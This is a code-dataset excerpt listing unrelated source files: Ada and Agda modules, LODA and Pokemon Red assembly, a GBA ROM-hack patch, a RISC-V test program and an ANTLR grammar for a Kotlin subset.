max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
system-rpc.ads | mgrojo/adalib | 15 | 9844 | <reponame>mgrojo/adalib
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
with Ada.Streams; -- see 13.13.1
package System.RPC is
type Partition_Id is range 0 .. implementation_defined;
Communication_Error : exception;
type Params_Stream_Type (Initial_Size : Ada.Streams.Stream_Element_Count) is
new Ada.Streams.Root_Stream_Type with private;
procedure Read (Stream : in out Params_Stream_Type;
Item : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset);
procedure Write (Stream : in out Params_Stream_Type;
Item : in Ada.Streams.Stream_Element_Array);
-- Synchronous call
procedure Do_RPC (Partition : in Partition_Id;
Params : access Params_Stream_Type;
Result : access Params_Stream_Type);
-- Asynchronous call
procedure Do_APC (Partition : in Partition_Id;
Params : access Params_Stream_Type);
-- The handler for incoming RPCs
type RPC_Receiver is access procedure (Params : access Params_Stream_Type;
Result : access Params_Stream_Type);
procedure Establish_RPC_Receiver (Partition : in Partition_Id;
Receiver : in RPC_Receiver);
private
pragma Import (Ada, Params_Stream_Type);
end System.RPC;
|
ada/examples/pre-post-conditions/show_type_invariant.ads | carter-e-veldhuizen/RACK | 4 | 9817 | procedure Show_Type_Invariant;
-- package Prout is
-- procedure Yolo (A : int; B : int);
-- end Prout;
|
oeis/061/A061778.asm | neoneye/loda-programs | 11 | 179546 | <reponame>neoneye/loda-programs
; A061778: a(n) = Product_{j=0..floor(n/2)} C(n,j).
; Submitted by <NAME>
; 1,2,3,24,50,1800,5145,878080,3429216,2857680000,15219319500,63117561830400,457937132487120,9577928124440387712,94609025993497640625,10077943267571584204800000,135476575389769051389952000,74054886893191804566576837427200,1354434926051634531310373234715648,3822038592032831128918160803430400000000,95088157279379964899100893076216768000000,1391938996758770867922655936144556115037409280000,47099416200121700585548115075687735913279107955600,3590983920855120541222242030906271549731128033655197270016
add $0,1
mov $1,1
mov $2,10
mov $4,$0
lpb $0
sub $0,2
mov $3,$4
bin $3,$1
add $1,1
mul $2,$3
lpe
mov $0,$2
div $0,10
|
audio/sfx/battle_2c.asm | AmateurPanda92/pokemon-rby-dx | 9 | 162021 | <gh_stars>1-10
SFX_Battle_2C_Ch4:
dutycycle 57
squarenote 15, 15, 4, 1280
squarenote 15, 12, 4, 1024
squarenote 15, 14, 2, 1472
loopchannel 3, SFX_Battle_2C_Ch4
endchannel
SFX_Battle_2C_Ch5:
dutycycle 141
squarenote 7, 14, 4, 1072
squarenote 15, 11, 4, 816
squarenote 15, 10, 2, 1080
loopchannel 4, SFX_Battle_2C_Ch5
endchannel
SFX_Battle_2C_Ch7:
noisenote 9, 15, 4, 68
noisenote 9, 15, 2, 67
noisenote 15, 15, 4, 66
noisenote 15, 15, 4, 65
loopchannel 3, SFX_Battle_2C_Ch7
endchannel
|
text/maps/silph_co_11f.asm | etdv-thevoid/pokemon-rgb-enhanced | 1 | 17475 | _SilphCoPresidentText::
text "PRESIDENT: Thank"
line "you for saving"
cont "SILPH!"
para "I will never"
line "forget you saved"
cont "us in our moment"
cont "of peril!"
para "I have to thank"
line "you in some way!"
para "Because I am rich,"
line "I can give you"
cont "anything!"
para "Here, maybe this"
line "will do!"
prompt
_ReceivedSilphCoMasterBallText::
text $52, " got a"
line "@"
TX_RAM wcf4b
text "!@@"
_SilphCo10Text_6231c::
text "PRESIDENT: You"
line "can't buy that"
cont "anywhere!"
para "It's our secret"
line "prototype MASTER"
cont "BALL!"
para "It will catch any"
line "#MON without"
cont "fail!"
para "You should be"
line "quiet about using"
cont "it, though."
done
_SilphCoMasterBallNoRoomText::
text "You have no"
line "room for this."
done
_SilphCo11Text2::
text "SECRETARY: Thank"
line "you for rescuing"
cont "all of us!"
para "We admire your"
line "courage."
done
_SilphCo11Text3::
text "Ah <PLAYER>!"
line "So we meet again!"
para "The PRESIDENT and"
line "I are discussing"
cont "a vital business"
cont "proposition."
para "Keep your nose"
line "out of grown-up"
cont "matters..."
para "Or, experience a"
line "world of pain!"
done
_SilphCo10Text_62330::
text "Arrgh!!"
line "I lost again!?"
prompt
_SilphCo10Text_62335::
text "Blast it all!"
line "You ruined our"
cont "plans for SILPH!"
para "But, TEAM ROCKET"
line "will never fall!"
para $52, "! Never"
line "forget that all"
cont "#MON exist"
cont "for TEAM ROCKET!"
para "I must go, but I"
line "shall return!"
done
_SilphCo11BattleText1::
text "Stop right there!"
line "Don't you move!"
done
_SilphCo11EndBattleText1::
text "Don't..."
line "Please!"
prompt
_SilphCo11AfterBattleText1::
text "So, you want to"
line "see my BOSS?"
done
_SilphCo11BattleText2::
text "Halt! Do you have"
line "an appointment"
cont "with my BOSS?"
done
_SilphCo11EndBattleText2::
text "Gaah!"
line "Demolished!"
prompt
_SilphCo11AfterBattleText2::
text "Watch your step,"
line "my BOSS likes his"
cont "#MON tough!"
done
_SilphCo10Text_6237b::
text "The monitor has"
line "#MON on it!"
done
|
src/UnSizedIO/Object.agda | agda/ooAgda | 23 | 16513 | module UnSizedIO.Object where
open import Data.Product
record Interface : Set₁ where
field
Method : Set
Result : (m : Method) → Set
open Interface public
-- A simple object just returns for a method the response
-- and the object itself
record Object (i : Interface) : Set where
coinductive
field
objectMethod : (m : Method i) → Result i m × Object i
open Object public
|
oeis/268/A268218.asm | neoneye/loda-programs | 11 | 177455 | ; A268218: a(n) = (n!/3!)*Sum(1/k!,k=1..n-3).
; Submitted by <NAME>
; 0,0,0,0,4,30,200,1435,11536,103908,1039200,11431365,137176600,1783296086,24966145568,374492183975,5991874944160,101861874051400,1833513732926016,34836760925595273,696735218511906600,14631439588750039930,321891670952500880000,7403508431907520241771
mov $2,1
mov $5,2
lpb $0
mov $3,$2
lpb $3
lpb $3
mod $3,10
add $4,$5
lpe
add $2,3
trn $3,9
lpe
mul $5,$0
sub $0,1
lpe
mov $0,$4
div $0,12
|
libsrc/video/hd44780/lcd_write_control.asm | ahjelm/z88dk | 640 | 94637 | <reponame>ahjelm/z88dk
SECTION code_driver
PUBLIC lcd_write_control
PUBLIC _lcd_write_control
PUBLIC asm_lcd_write_control
EXTERN lcd_delay_short
EXTERN LCD_CONTROL_PORT
; void lcd_write_control(byte a)
lcd_write_control:
_lcd_write_control:
pop bc
pop hl
push hl
push bc
ld a,l
asm_lcd_write_control:
out (LCD_CONTROL_PORT),a
call lcd_delay_short
call lcd_delay_short
ret
|
lib/Explore/Experimental/DataBitsCount.agda | crypto-agda/explore | 2 | 11406 | {-# OPTIONS --without-K #-}
module Data.Bits.Count where
open import Type hiding (★)
open import Data.Two hiding (_==_)
open import Data.Bits
open import Data.Bits.OperationSyntax
import Data.Bits.Search as Search
open Search.SimpleSearch
open import Data.Bits.Sum
open import Data.Bool.Properties using (not-involutive)
open import Data.Zero using (𝟘; 𝟘-elim)
import Data.Fin as Fin
open Fin using (Fin; zero; suc; #_; inject₁; inject+; raise) renaming (_+_ to _+ᶠ_)
open import Data.Maybe.NP
open import Data.Nat.NP hiding (_==_)
open import Data.Nat.Properties
import Data.Vec.NP as V
open V hiding (rewire; rewireTbl; sum) renaming (map to vmap; swap to vswap)
open import Data.Product using (_×_; _,_; uncurry; proj₁; proj₂)
open import Function.NP
import Relation.Binary.PropositionalEquality.NP as ≡
open ≡
#⟨_⟩ : ∀ {n} → (Bits n → 𝟚) → ℕ
#⟨ pred ⟩ = sum (𝟚▹ℕ ∘ pred)
-- #-ext
#-≗ : ∀ {n} (f g : Bits n → 𝟚) → f ≗ g → #⟨ f ⟩ ≡ #⟨ g ⟩
#-≗ f g f≗g = sum-≗ (𝟚▹ℕ ∘ f) (𝟚▹ℕ ∘ g) (λ x → ≡.cong 𝟚▹ℕ (f≗g x))
#-comm : ∀ {n} (pad : Bits n) (f : Bits n → 𝟚) → #⟨ f ⟩ ≡ #⟨ f ∘ _⊕_ pad ⟩
#-comm pad f = sum-comm pad (𝟚▹ℕ ∘ f)
#-bij : ∀ {n} f (g : Bits n → 𝟚) → #⟨ g ∘ eval f ⟩ ≡ #⟨ g ⟩
#-bij f g = sum-bij f (𝟚▹ℕ ∘ g)
#-⊕ : ∀ {c} (bs : Bits c) (f : Bits c → 𝟚) → #⟨ f ⟩ ≡ #⟨ f ∘ _⊕_ bs ⟩
#-⊕ = #-comm
#-const : ∀ n b → #⟨ (λ (_ : Bits n) → b) ⟩ ≡ ⟨2^ n * 𝟚▹ℕ b ⟩
#-const n b = sum-const n (𝟚▹ℕ b)
#never≡0 : ∀ n → #⟨ never n ⟩ ≡ 0
#never≡0 = sum-const0≡0
#always≡2^_ : ∀ n → #⟨ always n ⟩ ≡ 2^ n
#always≡2^ n = sum-const n 1
#-dist : ∀ {n} (f₀ f₁ : Bits n → 𝟚) → sum (λ x → 𝟚▹ℕ (f₀ x) + 𝟚▹ℕ (f₁ x)) ≡ #⟨ f₀ ⟩ + #⟨ f₁ ⟩
#-dist f₀ f₁ = sum-dist (𝟚▹ℕ ∘ f₀) (𝟚▹ℕ ∘ f₁)
#-+ : ∀ {m n} (f : Bits (m + n) → 𝟚) →
#⟨ f ⟩ ≡ sum {m} (λ xs → #⟨ (λ ys → f (xs ++ ys)) ⟩ )
#-+ {m} {n} f = sum-+ {m} {n} (𝟚▹ℕ ∘ f)
#-# : ∀ {m n} (f : Bits (m + n) → 𝟚) →
sum {m} (λ xs → #⟨ (λ ys → f (xs ++ ys)) ⟩)
≡ sum {n} (λ ys → #⟨ (λ (xs : Bits m) → f (xs ++ ys)) ⟩)
#-# {m} {n} f = sum-sum {m} {n} (𝟚▹ℕ ∘ f)
#-swap : ∀ {m n} (f : Bits (m + n) → 𝟚) → #⟨ f ∘ vswap n {m} ⟩ ≡ #⟨ f ⟩
#-swap {m} {n} f = sum-swap {m} {n} (𝟚▹ℕ ∘ f)
#⟨==_⟩ : ∀ {n} (xs : Bits n) → #⟨ _==_ xs ⟩ ≡ 1
#⟨== [] ⟩ = refl
#⟨==_⟩ {suc n} (true ∷ xs) rewrite #never≡0 n | #⟨== xs ⟩ = refl
#⟨==_⟩ {suc n} (false ∷ xs) rewrite #never≡0 n | #⟨== xs ⟩ = refl
≗-cong-# : ∀ {n} (f g : Bits n → 𝟚) → f ≗ g → #⟨ f ⟩ ≡ #⟨ g ⟩
≗-cong-# f g f≗g = sum-≗ _ _ (cong 𝟚▹ℕ ∘ f≗g)
-- #-+ : ∀ {n a b} (f : Bits (suc n) → 𝟚) → #⟨ f ∘ 0∷_ ⟩ ≡ a → #⟨ f ∘ 1∷_ ⟩ ≡ b → #⟨ f ⟩ ≡ a + b
-- #-+ f f0 f1 rewrite f0 | f1 = refl
#-take-drop : ∀ m n (f : Bits m → 𝟚) (g : Bits n → 𝟚)
→ #⟨ (f ∘ take m) |∧| (g ∘ drop m) ⟩ ≡ #⟨ f ⟩ * #⟨ g ⟩
#-take-drop zero n f g with f []
... | true rewrite ℕ°.+-comm #⟨ g ⟩ 0 = refl
... | false = #never≡0 n
#-take-drop (suc m) n f g
rewrite ≗-cong-# ((f ∘ take (suc m)) |∧| (g ∘ drop (suc m)) ∘ 0∷_)
((f ∘ 0∷_ ∘ take m) |∧| (g ∘ drop m))
(λ x → cong₂ (λ x y → f x ∧ g y) (take-∷ m 0' x) (drop-∷ m 0' x))
| #-take-drop m n (f ∘ 0∷_) g
| ≗-cong-# ((f ∘ take (suc m)) |∧| (g ∘ drop (suc m)) ∘ 1∷_)
((f ∘ 1∷_ ∘ take m) |∧| (g ∘ drop m))
(λ x → cong₂ (λ x y → f x ∧ g y) (take-∷ m 1' x) (drop-∷ m 1' x))
| #-take-drop m n (f ∘ 1∷_) g
= sym (proj₂ ℕ°.distrib #⟨ g ⟩ #⟨ f ∘ 0∷_ ⟩ #⟨ f ∘ 1∷_ ⟩)
#-drop-take : ∀ m n (f : Bits n → 𝟚) (g : Bits m → 𝟚)
→ #⟨ (f ∘ drop m) |∧| (g ∘ take m) ⟩ ≡ #⟨ f ⟩ * #⟨ g ⟩
#-drop-take m n f g =
#⟨ (f ∘ drop m) |∧| (g ∘ take m) ⟩
≡⟨ ≗-cong-# ((f ∘ drop m) |∧| (g ∘ take m)) ((g ∘ take m) |∧| (f ∘ drop m)) (λ x → Bool°.+-comm (f (drop m x)) _) ⟩
#⟨ (g ∘ take m) |∧| (f ∘ drop m) ⟩
≡⟨ #-take-drop m n g f ⟩
#⟨ g ⟩ * #⟨ f ⟩
≡⟨ ℕ°.*-comm #⟨ g ⟩ _ ⟩
#⟨ f ⟩ * #⟨ g ⟩
∎
where open ≡-Reasoning
#-take : ∀ m n (f : Bits m → 𝟚) → #⟨ f ∘ take m {n} ⟩ ≡ 2^ n * #⟨ f ⟩
#-take m n f = #⟨ f ∘ take m {n} ⟩
≡⟨ #-drop-take m n (always n) f ⟩
#⟨ always n ⟩ * #⟨ f ⟩
≡⟨ cong (flip _*_ #⟨ f ⟩) (#always≡2^ n) ⟩
2^ n * #⟨ f ⟩
∎
where open ≡-Reasoning
#-drop : ∀ m n (f : Bits m → 𝟚) → #⟨ f ∘ drop n ⟩ ≡ 2^ n * #⟨ f ⟩
#-drop m n f = #⟨ f ∘ drop n ⟩
≡⟨ #-take-drop n m (always n) f ⟩
#⟨ always n ⟩ * #⟨ f ⟩
≡⟨ cong (flip _*_ #⟨ f ⟩) (#always≡2^ n) ⟩
2^ n * #⟨ f ⟩
∎
where open ≡-Reasoning
#⟨_==⟩ : ∀ {n} (xs : Bits n) → #⟨ flip _==_ xs ⟩ ≡ 1
#⟨ xs ==⟩ = trans (≗-cong-# (flip _==_ xs) (_==_ xs) (flip ==-comm xs)) #⟨== xs ⟩
#⇒ : ∀ {n} (f g : Bits n → 𝟚) → (∀ x → ✓ (f x) → ✓ (g x)) → #⟨ f ⟩ ≤ #⟨ g ⟩
#⇒ {zero} f g f⇒g with f [] | g [] | f⇒g []
... | true | true | _ = s≤s z≤n
... | true | false | p = 𝟘-elim (p _)
... | false | _ | _ = z≤n
#⇒ {suc n} f g f⇒g = #⇒ (f ∘ 0∷_) (g ∘ 0∷_) (f⇒g ∘ 0∷_)
+-mono #⇒ (f ∘ 1∷_) (g ∘ 1∷_) (f⇒g ∘ 1∷_)
#-∧-∨ᵇ : ∀ x y → 𝟚▹ℕ (x ∧ y) + 𝟚▹ℕ (x ∨ y) ≡ 𝟚▹ℕ x + 𝟚▹ℕ y
#-∧-∨ᵇ true y rewrite ℕ°.+-comm (𝟚▹ℕ y) 1 = refl
#-∧-∨ᵇ false y = refl
#-LEM : ∀ {n} → (f g : Bits n → 𝟚) → #⟨ f ⟩ ≡ #⟨ g |∧| f ⟩ + #⟨ |not| g |∧| f ⟩
#-LEM {zero} f g with g []
... | false = refl
... | true = ℕ°.+-comm 0 #⟨ f ⟩
#-LEM {suc n} f g
rewrite #-LEM (f ∘ 0∷_) (g ∘ 0∷_)
| #-LEM (f ∘ 1∷_) (g ∘ 1∷_)
= +-interchange #⟨ (g ∘ 0∷_) |∧| (f ∘ 0∷_) ⟩
#⟨ |not| (g ∘ 0∷_) |∧| (f ∘ 0∷_) ⟩
#⟨ (g ∘ 1∷_) |∧| (f ∘ 1∷_) ⟩
#⟨ |not| (g ∘ 1∷_) |∧| (f ∘ 1∷_) ⟩
#-∧-snd : ∀ {n} (f g : Bits n → 𝟚) → #⟨ f |∧| g ⟩ ≤ #⟨ g ⟩
#-∧-snd {zero} f g with f [] | g []
... | false | false = z≤n
... | false | true = z≤n
... | true | _ = ℕ≤.reflexive refl
#-∧-snd {suc n} f g = #-∧-snd (f ∘ 0∷_) (g ∘ 0∷_)
+-mono #-∧-snd (f ∘ 1∷_) (g ∘ 1∷_)
#-∧-fst : ∀ {n} (f g : Bits n → 𝟚) → #⟨ f |∧| g ⟩ ≤ #⟨ f ⟩
#-∧-fst f g =
#⟨ f |∧| g ⟩
≡⟨ #-≗ (f |∧| g) (g |∧| f) (|∧|-comm f g) ⟩
#⟨ g |∧| f ⟩
≤⟨ #-∧-snd g f ⟩
#⟨ f ⟩ ∎
where open ≤-Reasoning
#-∧-∨ : ∀ {n} (f g : Bits n → 𝟚) → #⟨ f |∧| g ⟩ + #⟨ f |∨| g ⟩ ≡ #⟨ f ⟩ + #⟨ g ⟩
#-∧-∨ {zero} f g = #-∧-∨ᵇ (f []) (g [])
#-∧-∨ {suc n} f g =
trans
(trans
(helper #⟨ (f ∘ 0∷_) |∧| (g ∘ 0∷_) ⟩
#⟨ (f ∘ 1∷_) |∧| (g ∘ 1∷_) ⟩
#⟨ (f ∘ 0∷_) |∨| (g ∘ 0∷_) ⟩
#⟨ (f ∘ 1∷_) |∨| (g ∘ 1∷_) ⟩)
(cong₂ _+_ (#-∧-∨ (f ∘ 0∷_) (g ∘ 0∷_))
(#-∧-∨ (f ∘ 1∷_) (g ∘ 1∷_))))
(helper #⟨ f ∘ 0∷_ ⟩ #⟨ g ∘ 0∷_ ⟩ #⟨ f ∘ 1∷_ ⟩ #⟨ g ∘ 1∷_ ⟩)
where open SemiringSolver
helper : ∀ x y z t → x + y + (z + t) ≡ x + z + (y + t)
helper = solve 4 (λ x y z t → x :+ y :+ (z :+ t) := x :+ z :+ (y :+ t)) refl
#∨' : ∀ {n} (f g : Bits n → 𝟚) → #⟨ f |∨| g ⟩ ≤ #⟨ f ⟩ + #⟨ g ⟩
#∨' {zero} f g with f []
... | true = s≤s z≤n
... | false = ℕ≤.refl
#∨' {suc _} f g = ℕ≤.trans (#∨' (f ∘ 0∷_) (g ∘ 0∷_) +-mono
#∨' (f ∘ 1∷_) (g ∘ 1∷_))
(ℕ≤.reflexive
(helper #⟨ f ∘ 0∷_ ⟩ #⟨ g ∘ 0∷_ ⟩ #⟨ f ∘ 1∷_ ⟩ #⟨ g ∘ 1∷_ ⟩))
where open SemiringSolver
helper : ∀ x y z t → x + y + (z + t) ≡ x + z + (y + t)
helper = solve 4 (λ x y z t → x :+ y :+ (z :+ t) := x :+ z :+ (y :+ t)) refl
#∨ : ∀ {m n o} {f g : Bits o → 𝟚} → #⟨ f ⟩ ≤ m → #⟨ g ⟩ ≤ n → #⟨ f |∨| g ⟩ ≤ (m + n)
#∨ {m} {n} {o} {f} {g} pf pg = ℕ≤.trans (#∨' f g) (pf +-mono pg)
#∧ : ∀ {m n o} {f g : Bits o → 𝟚} → #⟨ f ⟩ ≤ m → #⟨ g ⟩ ≤ n → #⟨ f |∧| g ⟩ ≤ (m + n)
#∧ {f = f} {g} pf pg = ℕ≤.trans (#⇒ (f |∧| g) (f |∨| g) (λ x → ∧⇒∨ (f x) (g x))) (#∨ {f = f} pf pg)
#-bound : ∀ c (f : Bits c → 𝟚) → #⟨ f ⟩ ≤ 2^ c
#-bound zero f = 𝟚≤1 (f [])
#-bound (suc c) f = #-bound c (f ∘ 0∷_) +-mono #-bound c (f ∘ 1∷_)
#-∘vnot : ∀ c (f : Bits c → 𝟚) → #⟨ f ⟩ ≡ #⟨ f ∘ vnot ⟩
#-∘vnot _ f = #-⊕ 1ⁿ f
#-∘xorᵢ : ∀ {c} (i : Fin c) (f : Bits c → 𝟚) b → #⟨ f ⟩ ≡ #⟨ f ∘ onᵢ (_xor_ b) i ⟩
#-∘xorᵢ i f b = pf
where pad = onᵢ (_xor_ b) i 0ⁿ
pf : #⟨ f ⟩ ≡ #⟨ f ∘ onᵢ (_xor_ b) i ⟩
pf rewrite #-⊕ pad f = ≗-cong-# (f ∘ _⊕_ pad) (f ∘ onᵢ (_xor_ b) i) (cong (_$_ f) ∘ sym ∘ onᵢ-xor-⊕ b i)
#-∘notᵢ : ∀ {c} (i : Fin c) (f : Bits c → 𝟚) → #⟨ f ⟩ ≡ #⟨ f ∘ notᵢ i ⟩
#-∘notᵢ i f = #-∘xorᵢ i f true
#-not∘ : ∀ c (f : Bits c → 𝟚) → #⟨ f ⟩ ≡ 2^ c ∸ #⟨ not ∘ f ⟩
#-not∘ zero f with f []
... | true = ≡.refl
... | false = ≡.refl
#-not∘ (suc c) f
rewrite #-not∘ c (f ∘ 0∷_)
| #-not∘ c (f ∘ 1∷_) = factor-+-∸ (#-bound c (not ∘ f ∘ 0∷_)) (#-bound c (not ∘ f ∘ 1∷_))
#-not∘′ : ∀ c (f : Bits c → 𝟚) → #⟨ not ∘ f ⟩ ≡ 2^ c ∸ #⟨ f ⟩
#-not∘′ c f = #⟨ not ∘ f ⟩
≡⟨ #-not∘ c (not ∘ f) ⟩
2^ c ∸ #⟨ not ∘ not ∘ f ⟩
≡⟨ ≡.cong (λ g → 2^ c ∸ g) (≗-cong-# (not ∘ not ∘ f) f (not-involutive ∘ f)) ⟩
2^ c ∸ #⟨ f ⟩
∎
where open ≡-Reasoning
difference-lemma : ∀ {n}(A B F : Bits n → 𝟚)
→ #⟨ |not| F |∧| A ⟩ ≡ #⟨ |not| F |∧| B ⟩
→ dist #⟨ A ⟩ #⟨ B ⟩ ≤ #⟨ F ⟩
difference-lemma A B F A∧¬F≡B∧¬F =
dist #⟨ A ⟩ #⟨ B ⟩
≡⟨ cong₂ dist (#-LEM A F) (#-LEM B F) ⟩
dist (#⟨ F |∧| A ⟩ + #⟨ |not| F |∧| A ⟩)
(#⟨ F |∧| B ⟩ + #⟨ |not| F |∧| B ⟩)
≡⟨ cong₂ dist (ℕ°.+-comm #⟨ F |∧| A ⟩ #⟨ |not| F |∧| A ⟩)
(ℕ°.+-comm #⟨ F |∧| B ⟩ #⟨ |not| F |∧| B ⟩) ⟩
dist (#⟨ |not| F |∧| A ⟩ + #⟨ F |∧| A ⟩)
(#⟨ |not| F |∧| B ⟩ + #⟨ F |∧| B ⟩)
≡⟨ cong₂ dist (refl {x = #⟨ |not| F |∧| A ⟩ + #⟨ F |∧| A ⟩})
(cong₂ _+_ (sym A∧¬F≡B∧¬F) (refl {x = #⟨ F |∧| B ⟩})) ⟩
dist (#⟨ |not| F |∧| A ⟩ + #⟨ F |∧| A ⟩)
(#⟨ |not| F |∧| A ⟩ + #⟨ F |∧| B ⟩)
≡⟨ dist-x+ #⟨ |not| F |∧| A ⟩ #⟨ F |∧| A ⟩ #⟨ F |∧| B ⟩ ⟩
dist #⟨ F |∧| A ⟩ #⟨ F |∧| B ⟩
≤⟨ dist-bounded {#⟨ F |∧| A ⟩} {#⟨ F |∧| B ⟩} {#⟨ F ⟩} (#-∧-fst F A) (#-∧-fst F B) ⟩
#⟨ F ⟩ ∎
where open ≤-Reasoning
#⟨_⟩ᶠ : ∀ {n} → (Bits n → 𝟚) → Fin (suc (2^ n))
#⟨ pred ⟩ᶠ = countᶠ pred (allBits _)
#⟨⟩-spec : ∀ {n} (pred : Bits n → 𝟚) → #⟨ pred ⟩ ≡ Fin.toℕ #⟨ pred ⟩ᶠ
#⟨⟩-spec {zero} pred with pred []
... | true = refl
... | false = refl
#⟨⟩-spec {suc n} pred rewrite count-++ pred (vmap 0∷_ (allBits n)) (vmap 1∷_ (allBits n))
| #⟨⟩-spec {n} (pred ∘ 0∷_)
| #⟨⟩-spec {n} (pred ∘ 1∷_)
| count-∘ 0∷_ pred (allBits n)
| count-∘ 1∷_ pred (allBits n) = refl
ext-# : ∀ {c} {f g : Bits c → 𝟚} → f ≗ g → #⟨ f ⟩ᶠ ≡ #⟨ g ⟩ᶠ
ext-# f≗g = ext-countᶠ f≗g (allBits _)
find? : ∀ {n a} {A : ★ a} → (Bits n →? A) →? A
find? = search (M?._∣_ _)
findKey : ∀ {n} → (Bits n → 𝟚) →? Bits n
findKey pred = find? (λ x → if pred x then just x else nothing)
-- -}
-- -}
-- -}
-- -}
|
libsrc/stdio_new/fd/readbyte.asm | andydansby/z88dk-mk2 | 1 | 25467 | ; int __FASTCALL__ readbyte(int fd)
; 06.2008 aralbrec
XLIB readbyte
LIB stdio_error_eacces_mc, stdio_error_ebadf_mc, stdio_error_mc
LIB l_jpix, stdio_fdcommon1
INCLUDE "../stdio.def"
.readbyte
call stdio_fdcommon1 ; ix = fdstruct *
jp c, stdio_error_ebadf_mc ; problem with fd
bit 2,(ix+3) ; open for reading?
jp z, stdio_error_eacces_mc
ld a,STDIO_MSG_GETC
call l_jpix
jp c, stdio_error_mc
ld l,a
ld h,0
ret
|
Wizardry/ExternalHacks/TradeFix/inventory_full.asm | sme23/OneHourBlitz | 1 | 89224 | @send to storage:
@break at 4f3d2, jump to end push and pop
@then jump to 4f286 right after popping, nothing happens
.thumb
.org 0 @paste to e1964-9b8 and put hook at 1e19e (c3f0e1fb)
@item data in r0
push {lr}
@check uses
mov r1, #0x80
lsl r1, #8 @0x8000, aka top bit set
cmp r0,r1
bge Skip
@original routine
ldr r1, =0x8031594
mov lr,r1
.short 0xf800 @bl 801e188
pop {r1}
bx r1
Skip:
ldr r0, MuteCheck
ldrb r0,[r0]
lsl r0,r0,#0x1e
cmp r0,#0
blt End
mov r0, #0x6c @sound ID (bzzt)
ldr r3, PlaySound @play sound routine
mov lr,r3
.short 0xf800
End:
pop {r1}
pop {r4,r5}
pop {r1}
pop {r4-r7}
pop {r1}
ldr r1, ReturnSkip
bx r1
.align
PlaySound:
.long 0x080d01fc
MuteCheck:
.long 0x0202bc31
ReturnSkip:
.long 0x0804f287
|
oeis/248/A248619.asm | neoneye/loda-programs | 11 | 21342 | <filename>oeis/248/A248619.asm
; A248619: a(n) = (n*(n+1))^4.
; 0,16,1296,20736,160000,810000,3111696,9834496,26873856,65610000,146410000,303595776,592240896,1097199376,1944810000,3317760000,5473632256,8767700496,13680577296,20851360000,31116960000,45558341136,65554433296,92844527616,129600000000,178506250000,242855782416,326653399296,434734510336,572897610000,748052010000,968381956096,1243528298496,1584788925456,2005339210000,2520473760000,3147870802176,3907880570896,4823839112976,5922408960000,7233948160000,8792909200656,10638269396496,12813994352896
mov $1,$0
pow $1,2
add $0,$1
pow $0,4
|
assembler/test.asm | tadaren/CPU_RV32I | 0 | 174725 | LW r0 0 r1
LW r0 4 r2
IMM r3 -12
ADDI r1 -4 r4
SLTI r1 -1 r6
SLTI r1 15 r5
SLTIU r1 5 r7
SLTIU r1 -1 r8
XORI r1 12 r9
ORI r1 12 r10
ANDI r1 12 r11
SLLI r1 10 r12
SRLI r3 4 r13
SRAI r3 4 r14
ADD r1 r2 r15
SUB r2 r1 r16
SLL r1 r2 r17
SLT r2 r3 r18
SLT r3 r2 r19
SLTU r2 r3 r20
SLTU r3 r2 r21
XOR r1 r2 r22
SRL r3 r2 r23
SRA r3 r2 r24
OR r1 r2 r25
AND r1 r2 r26
SW r4 r0 8
SW r5 r0 12
SW r6 r0 16
SW r7 r0 20
SW r8 r0 24
SW r9 r0 28
SW r10 r0 32
SW r11 r0 36
SW r12 r0 40
SW r13 r0 44
SW r14 r0 48
SW r15 r0 52
SW r16 r0 56
SW r17 r0 60
SW r18 r0 64
SW r19 r0 68
SW r20 r0 72
SW r21 r0 76
SW r22 r0 80
SW r23 r0 84
SW r24 r0 88
SW r25 r0 92
SW r26 r0 96
BEQ r1 r3 8
SW r3 r0 100
BNE r1 r3 8
SW r3 r0 104
BLT r1 r3 8
SW r3 r0 108
BGE r1 r3 8
SW r3 r0 112
BLTU r1 r3 8
SW r3 r0 116
BGEU r1 r3 8
SW r3 r0 120
JAL r27 8
SW r3 r0 124
SW r27 r0 128
JALR r28 r1 258
SW r3 r0 132
SW r28 r0 136
|
src/main/Kotlin.g4 | BrunoFelipe17/KotlinAntlrProject | 2 | 2229 | grammar Kotlin ;
program
: func_main EOF
;
func_main
: func 'main' OPEN_P CLOSE_P OPEN_B block CLOSE_B
;
block
: statement+
;
statement
: assignment_statement
| print_statement
| if_statement
| while_statement
| repeat_statement
;
// ----------------------------------------------------------------------------------
assignment_statement
: declaration ID ':' type '=' expr # varDeclaration
| re_assignment # varReassignment
;
re_assignment
: ID '=' expr # reassignment
| ID op=(INCREMENT|DECREMENT) # incrementOrDecrement
| expr op=(MULT|DIV|ADD|SUB)'=' expr # simpleOp
;
// ----------------------------------------------------------------------------------
print_statement
: printnormal # printNormal
| printline # printLine
;
// ----------------------------------------------------------------------------------
expr
: expr op=(MULT|DIV) expr # MultOrDiv
| expr op=(ADD|SUB) expr # AddOrSub
| DOUBLE # double
| 'scan()' # scan
| INT # int
| STRING # string
| ID # id
| OPEN_P expr CLOSE_P # parenthesis
;
// ----------------------------------------------------------------------------------
printnormal
: 'print' OPEN_P expr (',' expr)* CLOSE_P
;
printline
: 'println' OPEN_P expr (',' expr)* CLOSE_P
;
// ----------------------------------------------------------------------------------
if_statement
: 'if' OPEN_P comṕarison CLOSE_P OPEN_B block ab CLOSE_B (else_block)?
;
else_block
: 'else' OPEN_B block CLOSE_B
;
ab: ;
// ----------------------------------------------------------------------------------
while_statement
: 'while' OPEN_P comṕarison CLOSE_P OPEN_B block CLOSE_B
;
repeat_statement
: 'repeat' OPEN_P (INT|DOUBLE|STRING) CLOSE_P OPEN_B block CLOSE_B
;
// ----------------------------------------------------------------------------------
comṕarison
: expr GREATER_EQUAL expr # greaterOrEqual
| expr GREATER expr # greater
| expr LESS_EQUAL expr # lessOrEqual
| expr LESS expr # less
| expr '==' expr # equal
| expr op=MODULO expr '==' expr # modulo
;
// ----------------------------------------------------------------------------------
declaration
: 'val'
;
// ----------------------------------------------------------------------------------
// ----------------------------------------------------------------------------------
type
: 'Int' | 'Double' | 'String'
;
